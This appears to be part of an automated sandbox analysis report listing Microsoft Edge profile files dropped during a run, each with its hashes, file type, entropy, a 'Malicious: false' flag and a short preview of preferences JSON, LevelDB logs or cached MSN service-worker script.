SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c5f20540-2857-46be-b39b-beb9578d4ff9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d1e031f3-668e-488d-a774-b09921bdca17.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.117919327452063
Encrypted:	false
SSDEEP:	192:stSLkdpU9nksfHIlN6xykCzpW3SH80/bV+F/tiOtxQA5tp4ly93Xy+PZYJ:stSLQU9nksfHi4kEiR/bG/tRtxQUtp4H
MD5:	42C6042CB4AF4923CD23BCF848E2B00D
SHA1:	11EE05F7A02D741B322FD3E3D70AC8C98471D90C
SHA-256:	DA6CFC4851AA57A5D6860D48D4D77CA37279CF69CA00FCF47684E9EC349837E2
SHA-512:	C0AE17BBFF4BA34BA1A85A429AF15DF84A6B0A717B8E66BCBC48E500BC963C311B4716F911C79878D8EB2944A8C01EE3301A53974C4E1340EE6415C65111676E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376765326919082","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340975013362099","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2ec1b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.117919327452063
Encrypted:	false
SSDEEP:	192:stSLkdpU9nksfHIlN6xykCzpW3SH80/bV+F/tiOtxQA5tp4ly93Xy+PZYJ:stSLQU9nksfHi4kEiR/bG/tRtxQUtp4H
MD5:	42C6042CB4AF4923CD23BCF848E2B00D
SHA1:	11EE05F7A02D741B322FD3E3D70AC8C98471D90C
SHA-256:	DA6CFC4851AA57A5D6860D48D4D77CA37279CF69CA00FCF47684E9EC349837E2
SHA-512:	C0AE17BBFF4BA34BA1A85A429AF15DF84A6B0A717B8E66BCBC48E500BC963C311B4716F911C79878D8EB2944A8C01EE3301A53974C4E1340EE6415C65111676E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376765326919082","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340975013362099","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF32c9f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.117919327452063
Encrypted:	false
SSDEEP:	192:stSLkdpU9nksfHIlN6xykCzpW3SH80/bV+F/tiOtxQA5tp4ly93Xy+PZYJ:stSLQU9nksfHi4kEiR/bG/tRtxQUtp4H
MD5:	42C6042CB4AF4923CD23BCF848E2B00D
SHA1:	11EE05F7A02D741B322FD3E3D70AC8C98471D90C
SHA-256:	DA6CFC4851AA57A5D6860D48D4D77CA37279CF69CA00FCF47684E9EC349837E2
SHA-512:	C0AE17BBFF4BA34BA1A85A429AF15DF84A6B0A717B8E66BCBC48E500BC963C311B4716F911C79878D8EB2944A8C01EE3301A53974C4E1340EE6415C65111676E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376765326919082","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340975013362099","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3a1ee.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.117919327452063
Encrypted:	false
SSDEEP:	192:stSLkdpU9nksfHIlN6xykCzpW3SH80/bV+F/tiOtxQA5tp4ly93Xy+PZYJ:stSLQU9nksfHi4kEiR/bG/tRtxQUtp4H
MD5:	42C6042CB4AF4923CD23BCF848E2B00D
SHA1:	11EE05F7A02D741B322FD3E3D70AC8C98471D90C
SHA-256:	DA6CFC4851AA57A5D6860D48D4D77CA37279CF69CA00FCF47684E9EC349837E2
SHA-512:	C0AE17BBFF4BA34BA1A85A429AF15DF84A6B0A717B8E66BCBC48E500BC963C311B4716F911C79878D8EB2944A8C01EE3301A53974C4E1340EE6415C65111676E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376765326919082","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340975013362099","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.56544687561041
Encrypted:	false
SSDEEP:	768:OMLGVWWPQafid8F1+UoAYDCx9Tuqh0VfUC9xbog/OVMtixMrwftp7otuVn:OMLGVWWPQafidu1jaNMxlf4tC
MD5:	BE8711820B718B72484E21783413BF76
SHA1:	E3291A3B576F8E61E4A48F8BF8FDA18F01CDF0E3
SHA-256:	A51E650EBEC8E07CEE5A304F29F9356E0509A3347090C6BC60C4B11185D2B657
SHA-512:	FF33ED3D2B730633F85039E585560F9BC32B4189F2F3CA6772FC2291E4AB66518A0B424A87FA1FD8368F26377AFEA049AF36DB31FD078AACCA52E4220B4C41AA
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376765326351470","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376765326351470","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2deae.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.56544687561041
Encrypted:	false
SSDEEP:	768:OMLGVWWPQafid8F1+UoAYDCx9Tuqh0VfUC9xbog/OVMtixMrwftp7otuVn:OMLGVWWPQafidu1jaNMxlf4tC
MD5:	BE8711820B718B72484E21783413BF76
SHA1:	E3291A3B576F8E61E4A48F8BF8FDA18F01CDF0E3
SHA-256:	A51E650EBEC8E07CEE5A304F29F9356E0509A3347090C6BC60C4B11185D2B657
SHA-512:	FF33ED3D2B730633F85039E585560F9BC32B4189F2F3CA6772FC2291E4AB66518A0B424A87FA1FD8368F26377AFEA049AF36DB31FD078AACCA52E4220B4C41AA
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376765326351470","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376765326351470","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.833846139969952
Encrypted:	false
SSDEEP:	48:F2em3trdDIfBBXrdQDth7lGrdDzB5rdABQ:F1m3txDIXxQph7wxDfxJ
MD5:	78D7CC1153FA00AFE0FAB8B1EDF801B6
SHA1:	953B5683673464BB518240A1AB55F7E11A477CE5
SHA-256:	AA51B14F46C00D039843B2486E89CA88640D6C02F00BCF133F17AAF05B1C553C
SHA-512:	115F48F75128D89FD653DB6440DEDB16D5F1E83A32388B354C21257FEB015F3E77694017CA9666A21CD1AFA477E66FDB81ECC12D9603D58FFE34E814390D46DC
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2....m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8........@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.162698564330786
Encrypted:	false
SSDEEP:	6:HXTAB1Fi23oH+TcwtE/a252KLlVXFHM+q2PFi23oH+TcwtE/a2ZIFUv:DABZYeb8xLdHM+vdZYeb8J2FUv
MD5:	2C7A57994DF1ED02638DDF76DFECEBD4
SHA1:	094B87E8CF6DE1CEA947D950246F145421129211
SHA-256:	5242DE7E0FFC9C539CDFD53A6A23C662BC95889CA7D27BB1BC9CD7F319DFDE89
SHA-512:	5E77C94CEBE5BBF110A7258B635087FA311A570DBEED1AB65587D848CD220ABE05C18BEE40057F815E203EC848F0A305AF8413E04526FD731435F7D325D3EFB3
Malicious:	false
Preview:	2024/11/22-11:09:02.688 198c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/22-11:09:02.703 198c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.578835381462397
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKi8GPXtPusX:d9LyxPXfOxr1lMe1nL/CL/TXEmdXpl
MD5:	CD11F220CDC3A0027C89A0F31FED0D6D
SHA1:	17101C7DC25C024E889A9C51F5670F6E77A415EE
SHA-256:	4A3CCFED810E54DDC05BA7808B5AF528F6A832D8A468FD1E4054D5CB8BF26826
SHA-512:	C425F1ED4492B38232E7F40BD13853B60F2972E1443B612A4AF5E8DFBD1F7DD62CA59FF0F3CD950EE662887103EBC250F5C84165F230AFEA7399A1D8412055E3
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188873
Entropy (8bit):	6.3854506311394905
Encrypted:	false
SSDEEP:	3072:7zEu7RKxadZ8Uw5DW6xJL/dntMv5AVk2FWq2q+Hkx:AUwI67L/TKb2y8
MD5:	CC33AB36E887A39700B162235188A42F
SHA1:	05577C1602B6D34FE2F4B93BDE470F59FAD79ECF
SHA-256:	6A562C292E8AE49EFE68F77B205F1E25171EE279340B51CC447DDB3AC5DA96B5
SHA-512:	349E55F93A2AC27FAAB6A3BEFEF5AC097FDB91361CD730BB27AEF6127C6448DEFF5793E160B37163660BDF0FB3CD8689093D7E3B35E69A4A5FD867929AD4F31A
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.p........,T.8..`,.....L`.....,T...`......L`......Rcbh......exports...Rcb.......module....Rc........define....Rb2.......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m....b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:JRtAyXl/ly/l9/lxE0tlla/lNJn:nNmO0gHn
MD5:	757BFE0523D3EE232911D4951A5BB548
SHA1:	617BF1D21E84F61A2FB3ED4DA94021AB1DA424C9
SHA-256:	277D0FB0B10F996709194215238F8A3AB6BE3948620FE8D6F87CDE274EE1099C
SHA-512:	C1A2FF5B3E22A3FF3E2E64585594143928CDC832494B758AE5133570AD5A87BD2E5A36FD8D6D2EFE840CD871B82C65DC3DD6AB1DB8D36E5BBC6C833DB9D88D90
Malicious:	false
Preview:	@...<...oy retne.........................X....,..................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:JRtAyXl/ly/l9/lxE0tlla/lNJn:nNmO0gHn
MD5:	757BFE0523D3EE232911D4951A5BB548
SHA1:	617BF1D21E84F61A2FB3ED4DA94021AB1DA424C9
SHA-256:	277D0FB0B10F996709194215238F8A3AB6BE3948620FE8D6F87CDE274EE1099C
SHA-512:	C1A2FF5B3E22A3FF3E2E64585594143928CDC832494B758AE5133570AD5A87BD2E5A36FD8D6D2EFE840CD871B82C65DC3DD6AB1DB8D36E5BBC6C833DB9D88D90
Malicious:	false
Preview:	@...<...oy retne.........................X....,..................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3229c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:JRtAyXl/ly/l9/lxE0tlla/lNJn:nNmO0gHn
MD5:	757BFE0523D3EE232911D4951A5BB548
SHA1:	617BF1D21E84F61A2FB3ED4DA94021AB1DA424C9
SHA-256:	277D0FB0B10F996709194215238F8A3AB6BE3948620FE8D6F87CDE274EE1099C
SHA-512:	C1A2FF5B3E22A3FF3E2E64585594143928CDC832494B758AE5133570AD5A87BD2E5A36FD8D6D2EFE840CD871B82C65DC3DD6AB1DB8D36E5BBC6C833DB9D88D90
Malicious:	false
Preview:	@...<...oy retne.........................X....,..................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5613
Entropy (8bit):	3.4100168867030503
Encrypted:	false
SSDEEP:	96:JGlRTknh6QQu07DtbhCiz9Xp+SG+ViYQ5SLl9iSrpy1TZoPYu6f:olRUMu07Jbh79Xp+SGKiN5SLl9iSrYJV
MD5:	D43968551BDB7B4E5A36EE6FCEBB819F
SHA1:	577CA9D87F5E68071966B89D45F50F84917354EC
SHA-256:	DD3D9EAAEDD8B44CDEF218A34D2D31CBF4CA8A64DF9630198AC23D308FAAE927
SHA-512:	75AC0032AD78F4CECE70395DB60CC5E2F543D2891CFC6EB8AF5C9A59793AA2BE1E54099268445DAA72637F9DCC69CC6C1B8570C9B30CCA4E8A0859474FC13F1E
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................;..b................next-map-id.1.Cnamespace-a2a97bd4_c886_41f0_8bde_488f4eb94382-https://ntp.msn.com/.0.c`.................map-0-shd_sweeper.({.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.m.m.s.-.s.c.-.s.c._.n.o.t._.b.i.d.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.c.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.2.,.a.d.s.-.f.l.r.m.g.p.-.t.u.n.e.d.-.t.,.s.i.d.-.f.l.r.n.o.i.s.e.2.,.s.i.d.a.m.o.-.f.l.r.-.s.t.a.g.e.,.p.r.g.-.1.s.-.d.w.v.i.d.-.c.t.r.,.p.r.g.-.1.s.w.-.s.a.q.e.n.t.s.i.r.u.t.2.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.e.p.r.g.-.1.s.w.-.s.a.-.u.s.s.l.,.p.r.g.-.1.s.w.-.s.a.-.d.l.i.s.l.3.o.t.4.t.2.,.p.r.g.-.1.s.w.-.n.o.r.e.t.r.y.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.p.r.g.-.f.i.n.-.l.2.d.u.e.a.-.c.,.2.4.0.9.-.n.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.132464066125421
Encrypted:	false
SSDEEP:	6:H+jyq2PFi23oH+TcwtrQMxIFUt8YMI11Zmw+YW31RkwOFi23oH+TcwtrQMFLJ:rvdZYebCFUt8NS1/+F3D5wZYebtJ
MD5:	60DF893EB478CDF5DCA77F6C4C08C7CC
SHA1:	32BA787245F58DAA73171955C621CE4581C2F363
SHA-256:	83035119577D881546F8C09241BFF5C84E2A519F9E5DE6313BDBDF69E14BB382
